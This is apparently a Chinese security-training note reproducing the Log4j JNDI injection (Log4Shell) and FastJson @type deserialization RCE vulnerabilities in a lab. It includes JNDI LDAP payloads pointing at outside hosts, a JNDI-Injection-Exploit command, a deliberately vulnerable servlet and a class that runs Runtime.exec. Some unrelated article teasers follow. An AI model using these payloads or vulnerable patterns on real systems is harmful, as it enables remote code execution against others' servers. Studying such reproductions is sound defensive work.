Day36:安全开发-JavaEE应用第三方组件Log4j日志FastJson序列化JNDI注入

目录

Java-项目管理-工具配置

Java-三方组件-Log4J&JNDI

Java-三方组件-FastJson&反射

思维导图


Java知识点:

功能:数据库操作,文件操作,序列化数据,身份验证,框架开发,第三方库使用等.

框架库:MyBatis,SpringMVC,SpringBoot,Shiro,Log4j,FastJson等

技术:Servlet,Listen,Filter,Interceptor,JWT,AOP,反射机制待补充

安全:SQL注入,RCE执行,反序列化,脆弱验证,未授权访问,待补充

安全:原生开发安全,第三方框架安全,第三方库安全等,待补充

Java-项目管理-工具配置

Jar 仓库:

https://mvnrepository.com/

Maven配置:

https://www.jb51.net/article/259780.htm

JNDI:

Java Naming and Directory Interface (Java 命名和目录接口 ),JNDI 提供统一的客户端 API,通过不同的服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录服务,使得 JAVA 应用程可以通过 JNDI 实现和这些命名服务和目录服务之间的交互。

JNDI注入:原理:利用JNDI的apl接口如RMI或LDAP远程调用自己所写的危险代码实现注入。

经典的JNDI注入漏洞:

Log4j 2.x 中的 JNDI 注入漏洞LDAP,允许攻击者通过特制的日志消息进行远程代码执行。在这种情况下,攻击者可以利用恶意构造的 JNDI上下文注入,执行恶意的Java代码。

上下文注入:

  1. 在某些情况下,应用程序会通过用户提供的数据构建 JNDI 上下文(InitialContext)。
  2. 如果应用程序在构建上下文时没有充分验证和过滤用户提供的数据,攻击者可能会尝试通过构造特殊的输入来注入恶意的 JNDI 对象。如:${jndi:ldap://47.94.236.117:1389/uyhyw6}

FastJson JNDI 注入漏洞(JSON )

  1. FastJson 在解析 JSON 数据时,会将 JSON 字符串转换为 Java 对象。
  2. 攻击者可以通过构造恶意的 JSON 字符串,包含特殊的 JSON 注释和 FastJson 的特性,来触发漏洞。攻击者构造的 JSON 数据可能包含特殊的注释和 FastJson 的特性,以触发漏洞并执行恶意代码。
  3. 远程代码执行:由于漏洞存在,攻击者可能成功执行远程代码,导致服务器上的不安全操作。

Java-三方组件-Log4J&JNDI

Log4J

Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

Log4j-组件安全复现

1Maven引用Log4j

2、接受用户输入值

3Log4j处理错误输入

4、利用jndi-ldap执行

Test:

String code="test";

String code="${java:os}";

logger.error("{}",code);

String exp="${jndi:ldap://xx.xx.xx.xx:xx/xxx}";

服务器:

java -jar JNDI-Injection-Exploit.jar -C "calc" -A xx.xx.xx.xx

Log4j-组件安全复现

  1. 创建Maven并命名为Log4jDemo
  2. 找到对应版本**Apache Log4j Core » 2.14.1,并导入至项目中pomxml文件中**
  3. 并刷新Maven则导入成功
  4. 在java下创建Log4jTest.java 文件,导入引入的第三方Log4j相关包
  5. Log4j 使用: 代码使用 Log4j 2.x 提供的日志功能,通过 LogManager.getLogger 获取一个 Logger 实例,然后使用 Logger.error 记录错误日志。
  6. 在 Logger.error("{}", code); 中,code 的值是 ${java:os}。这是 Log4j 的变量替换语法,其中 ${java:os} 表示执行 Java 系统属性(在这里是执行系统命令)。如果 code 的值是由用户提供的,那么存在潜在的安全风险,因为用户可以通过输入特定的内容来执行恶意代码。

创建一个新的空项目 Log4jDemo,配置如下图

Maven 引用 Log4j

  1. 在 pom.xml 文件中添加引用
  2. 引用代码是那个 Jar 仓库搜索到之后复制 Maven 的代码
  3. 这里引用的是 2.14.1 版本的

<dependencies><!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core --><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.1</version></dependency>

引用后左侧就会变成下图所示

创建 Log4jTest.java,编写代码并运行

 import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;​public class Log4jTest {// 使用Log4j 实现错误日志输出private static final Logger logger = LogManager.getLogger(Log4jTest.class);public static void main(String[] args) {// 如果code变量是可控的//       String code = "${java:os}";String code = "${java:vm}";logger.error("{}",code);}}

发现 Log4j 将其当成了命令执行。

在网站中测试 Log4j

创建一个 web 应用程序新项目,配置如下

如上同样需要在 pom.xml 文件中添加 Log4j 引用
创建 Log4jServlet.java
 

 package com.example.log4jwebdemo;​import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;​import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;​@WebServlet("/log4j")public class Log4jServlet extends HttpServlet {// 构造http web服务 使用带漏洞的Log4j版本 实现功能private static final Logger log = LogManager.getLogger(Log4jServlet.class);@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {String code = req.getParameter("code");// code = ${java:os} 想输出执行结果 需要加$ 不然会不执行// ${jndi:ldap://192.168.85.128:1389/qqbmx0}// ldap://192.168.85.128:1389/qqbmx0 是用工具生成的远程可访问的调用方法// 什么方法 -C "calc" 执行计算器的方法   (JNDI注入工具生成的)log.error("{}",code);}}

运行 tomcat 服务器,访问 url 路由,添加 code 参数,最终构造 url 如下

http://localhost:8080/Log4jWebDemo_war_exploded/log4j?code=${java:os}

tomcat 服务器的输出日志有如下类似输出

16:29:24.346 [http-nio-8080-exec-9] ERROR com.example.log4jwebdemo.Log4jServlet - Windows 10 10.0, architecture: amd64-64

利用 Jndi-ldap 执行命令
使用 JNDI 注入工具生成远程可访问的调用方法 (这里用的是 JNDIExploit)
也就是 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
使用命令如下

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "notepad" -A 192.168.85.128要执行的命令      服务器ip

复制生成的链接,构造 payload 如下,令 url 中 code 等于下值然后访问,即可成功执行命令。

${jndi:ldap://192.168.85.128:1389/hy5qgm}

Java-三方组件-FastJson&反射

FastJson

在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换与解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。

Fastjson-组件安全复现

1Maven引用Fastjson

2、创建需转换类对象User

3、使用Fastjson进行数据转换

4、数据转换(对象转Json,Json转对象)

-对象转Json(带类型)

JSONObject.toJSONString(u)

JSONObject.toJSONString(u,SerializerFeature.WriteClassName)

-Json转对象

JSON.parseObject(exp)

Test:

Runtime.getRuntime().exec("calc");

服务器:

https://blog.csdn.net/guo15890025019/article/details/120532891

Fastjson-组件安全复现

Maven引用Fastjson

User.java

 package com.suyou;​// 给fastjson数据转换测试用的public class User {private String name;private Integer age;​public Integer getAge() {return age;}​public String getName() {return name;}​public void setAge(Integer age) {this.age = age;System.out.println(age);}​public void setName(String name) {this.name = name;System.out.println(name);}}

FastjsonTest.java

 package com.suyou;​import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import com.alibaba.fastjson.serializer.SerializerFeature;​// 使用Fastjson去除了User类数据public class FastjsonTest {public static void main(String[] args) {// u Object对象// Integer age String name 数据User u = new User();u.setAge(20);u.setName("SuYou");//       System.out.println(u);​// 把数据转换为Json格式数据,不想用自带的API(太麻烦)// 所以使用Fastjson来进行数据转换// 将json对象转化为json数据String jsonString = JSONObject.toJSONString(u);System.out.println("这就是json格式:"+jsonString);​// 分析漏洞利用 多输出 转换数据类型 其实前面有一个@type转换对象类包String jsonString1 = JSONObject.toJSONString(u, SerializerFeature.WriteClassName);System.out.println("这就是json格式:"+jsonString1);​// 上面是   对象 -> JSON​// 下面是   JSON -> 对象// String test = "{\"@type\":\"com.suyou.User\",\"age\":20,\"name\":\"SuYou\"}";String test = "{\"@type\":\"com.suyou.Run\",\"age\":20,\"name\":\"SuYou\"}";// 实战中com.suyou.Run 我们不知道 所以一般固定调用java自带的一些包// rmi ldap 去触发远程的class 执行代码(RCE)​JSONObject jsonObject = JSON.parseObject(test);System.out.println(jsonObject);​}}

Run.java

 package com.suyou;​import java.io.IOException;​public class Run {public Run() throws IOException {Runtime.getRuntime().exec("calc");}}

运行 FastjsonTest.java,会进行序列化和反序列化过程,会将 User 对象序列化转换为 Json,后面会将 Json 反序列化转换回对象,此时,我们发现在反序列化转换回对象时,可以显示对象包名,我们可以通过修改包名来改变反序列化回的对象。

String test = "{\"@type\":\"com.suyou.User\",\"age\":20,\"name\":\"SuYou\"}";
String test = "{\"@type\":\"com.suyou.Run\",\"age\":20,\"name\":\"SuYou\"}";

如上面两个 json,第二个将原本的 User 换为了我们自己写的 Run 对象,而 Run 对象中被我们写入了恶意代码,后续过程将 test 进行了反序列化操作,将 json 反序列化为对象时构造了 Run 对象,执行了其中构造函数的恶意代码,弹出了计算器。

但是在实战过程中,我们不知道 comsuyoo.RUn ,我们无法确定人家哪个包可以用,所以一般固定调用 java 自带的一些包,很多复现都能看到,然后使用 rmi ldap 去触发远程的 class 执行代码(RCE)

Fastjson 漏洞复现:Fastjson漏洞复现_fastjson 1.2.84-CSDN博客

思维导图

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/274001.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Android14音频进阶:剖析关键结构体:audio_track_cblk_t(六十一)

简介: CSDN博客专家,专注Android/Linux系统,分享多mic语音方案、音视频、编解码等技术,与大家一起成长! 优质专栏:Audio工程师进阶系列【原创干货持续更新中……】🚀 优质专栏:多媒体系统工程师系列【原创干货持续更新中……】🚀 人生格言: 人生从来没有捷径,只…

【三、接口协议与抓包】使用ApiPost进行接口测试

你好&#xff0c;我是山茶&#xff0c;一个探索AI 测试的程序员。 接口测试是测试系统组件间接口的一种测试。接口测试主要用于检测外部系统与系统之间以及内部各个子系统之间的交互点。测试的重点是要检查数据的交换&#xff0c;传递和控制管理过程&#xff0c;以及系统间的相…

个人职业规划的制定方法

在竞争激烈的职场环境中&#xff0c;一个明确的职业规划对于个人发展至关重要。本文将探讨我的个人职场规划&#xff0c;包括短期和长期目标&#xff0c;以及实现这些目标所需的策略和行动。 一、自我评估 1.1 职业兴趣&#xff1a;我对市场营销和数据分析领域充满热情&#xf…

备考银行科技岗刷题笔记(持续更新版)

银行考试计算机部分复习 备考的朋友可以加我QQ大家一起交流一下&#xff0c;互相分享备考的笔记和信息。q&#xff0b;1725961691 IEEE 802.11的帧格式 1.1 IEEE 802.11是什么&#xff1f; 802.11是国际电工电子工程学会&#xff08;IEEE&#xff09;为无线局域网络制定的标…

RabbitMQ应用场景

1、异步处理 假设想象一下我们做一个商城项目&#xff0c;在用户支付模块中&#xff0c;可能会涉及到其它业务&#xff0c;比如&#xff1a;积分折扣、消费券、短信验证等功能。我们传统的执行步骤是逐步执行&#xff0c;也就是说当用户点击支付 ----> 积分折扣 ----> 消…

Unity类银河恶魔城学习记录9-1 9-2 P89,90 Character stats - Stat script源代码

Alex教程每一P的教程原代码加上我自己的理解初步理解写的注释&#xff0c;可供学习Alex教程的人参考 此代码仅为较上一P有所改变的代码 【Unity教程】从0编程制作类银河恶魔城游戏_哔哩哔哩_bilibili Stat.cs using System.Collections; using System.Collections.Generic; us…

svg简单教程

推荐查看这个视频 一小时讲完SVG 简介 scalable 英 /ˈskeɪləbl/ 美 /ˈskeɪləbl/ adj. &#xff08;计算机&#xff09; 可扩展的&#xff1b;可改变大小的&#xff0c;可缩放的&#xff1b;可攀登的&#xff1b;可称量的&#xff1b;可去鳞的 vector 英 /ˈvektə/ 美…

CodeSys通过C函数接口调用Qt

建议先查看之前的文章【CodeSys中调用C语言写的动态库】&#xff0c;了解如何创建一个能够被codesys调用的动态库。 假如想要在函数中使用Qt或者第三方库&#xff08;比如opencv等&#xff09;&#xff0c;可以在其自动生成的makefile文件中设置好相应的参数。 比如我这里就是…

【数据分析】专栏文章索引

为了方便 快速定位 和 便于文章间的相互引用等 作为一个快速准确的导航工具 数据分析 目录&#xff1a; &#xff08;一&#xff09;数据分析介绍 &#xff08;二&#xff09;环境搭建 &#xff08;三&#xff09;matploatlib绘图 &#xff08;四&#xff09;numpy &…

Swarm集群负载均衡的实现方式

目录 1. 背景2. 参考3. 环境4. 概念5. Swarm 网络5.1 Swarm 网络连接情况5.2 外部访问数据包转发流程 6 Swarm集群服务信息7 Swarm集群数据包转发流程7.1 Client发送请求至集群节点9090端口7.1.1 集群节点宿主机Netfilter规则7.1.2 Tcpdump抓包验证结果 7.2 Ingress_sbox下IPVS…

JS 事件捕获、事件冒泡、事件委托

js事件机制在开发中可以说时刻使用&#xff0c;例如dom绑定事件、监听其自身事件等。js事件机制有事件捕获、事件冒泡俩种机制&#xff0c;我们分别说下这俩种机制的使用场景。 一、概念 事件捕获顺序如下&#xff1a; window > document > body > div 事件冒泡顺序…

物联网的商业模式洞察

大约在十年前&#xff08;2014年11月&#xff09;&#xff0c;全球知名管理思想家、哈佛商学院教授迈克尔波特与PTC前首席执行官吉姆赫普尔曼&#xff0c;在《哈佛商业评论》上联合撰写了一篇备受赞誉的文章&#xff0c;题为《智能互联产品如何改变竞争》。在这篇文章中&#x…

【自动驾驶系列丛书学习】2.《自动驾驶汽车环境感知》学习笔记

《自动驾驶技术概论》学习笔记 致谢&#xff1a;作者&#xff1a;甄先通、黄坚、王亮、夏添 -------------------------------------------------------------------------------------------------------- 笔记目录 《自动驾驶技术概论》学习笔记 1.自动驾驶环境感知概述…

LM2904DT运算放大器中文资料规格书PDF数据手册引脚图参数图片功能概述

产品概述&#xff1a; 该电路由两个独立的高增益运算放大器&#xff08;运算放大器&#xff09;组成&#xff0c;内部实现了频率补偿。它们专为汽车和工业控制系统而设计。该电路采用单电源供电&#xff0c;工作电压范围很广。低功耗与电源电压的大小无关。 应用领域包括传感…

网络基础『 序列化与反序列化』

&#x1f52d;个人主页&#xff1a; 北 海 &#x1f6dc;所属专栏&#xff1a; Linux学习之旅、神奇的网络世界 &#x1f4bb;操作环境&#xff1a; CentOS 7.6 阿里云远程服务器 文章目录 &#x1f324;️前言&#x1f326;️正文1.协议的重要性2.什么是序列化与反序列化&…

优雅的记录日志,拒绝打印模糊信息导致bug定位难

想必大家都有过这样的经历&#xff1a;在项目中遇到报错需要紧急修复时&#xff0c;却因为日志信息模糊不清&#xff0c;无法迅速准确地定位到错误源头&#xff0c;这确实让人感到十分苦恼和无奈。 在新入职一家公司并着手修改遗留bug时&#xff0c;经常发现之前的开发者并未记…

Redis 的 key 的过期策略是怎么实现的【经典面试题】

前言 在 Redis 中可以通过命令 expire 对指定的 key 值设置过期时间&#xff0c;在时间到了以后该键值对就会自动删除。 一个 Redis 中可能会存在很多的 key &#xff0c;而这些 key 中有很大的一部分都会有过期时间&#xff0c;那么 Redis 怎么知道哪些 key 已经到了过期时间需…

大语言模型系列-中文开源大模型

文章目录 前言一、主流开源大模型二、中文开源大模型排行榜 前言 近期&#xff0c;OpenAI 的主要竞争者 Anthropic 推出了他们的新一代大型语言模型 Claude 3&#xff0c;该系列涵盖了三个不同规模的模型&#xff1a;Opus、Sonnet 和 Haiku。 Claude 3声称已经全面超越GPT-4。…

Python AI 之Stable-Diffusion-WebUI

Stable-Diffusion-WebUI简介 通过Gradio库&#xff0c;实现Stable Diffusion web 管理接口 Windows 11 安装Stable-Diffusion-WebUI 个人认为Stable-Diffusion-WebUI 官网提供的代码安装手册/自动安装不适合新手安装&#xff0c;我这边将一步步讲述我是如何搭建Python Conda…

WorkPlus Meet提供高效、安全视频会议解决方案

WorkPlus Meet是一款私有部署和定制化的视频会议解决方案&#xff0c;为企业提供高效、安全的远程协作平台。随着全球数字化转型的加速&#xff0c;视频会议已成为企业必不可少的工作工具&#xff0c;而WorkPlus Meet的私有部署和定制化功能&#xff0c;为企业提供了更大的控制…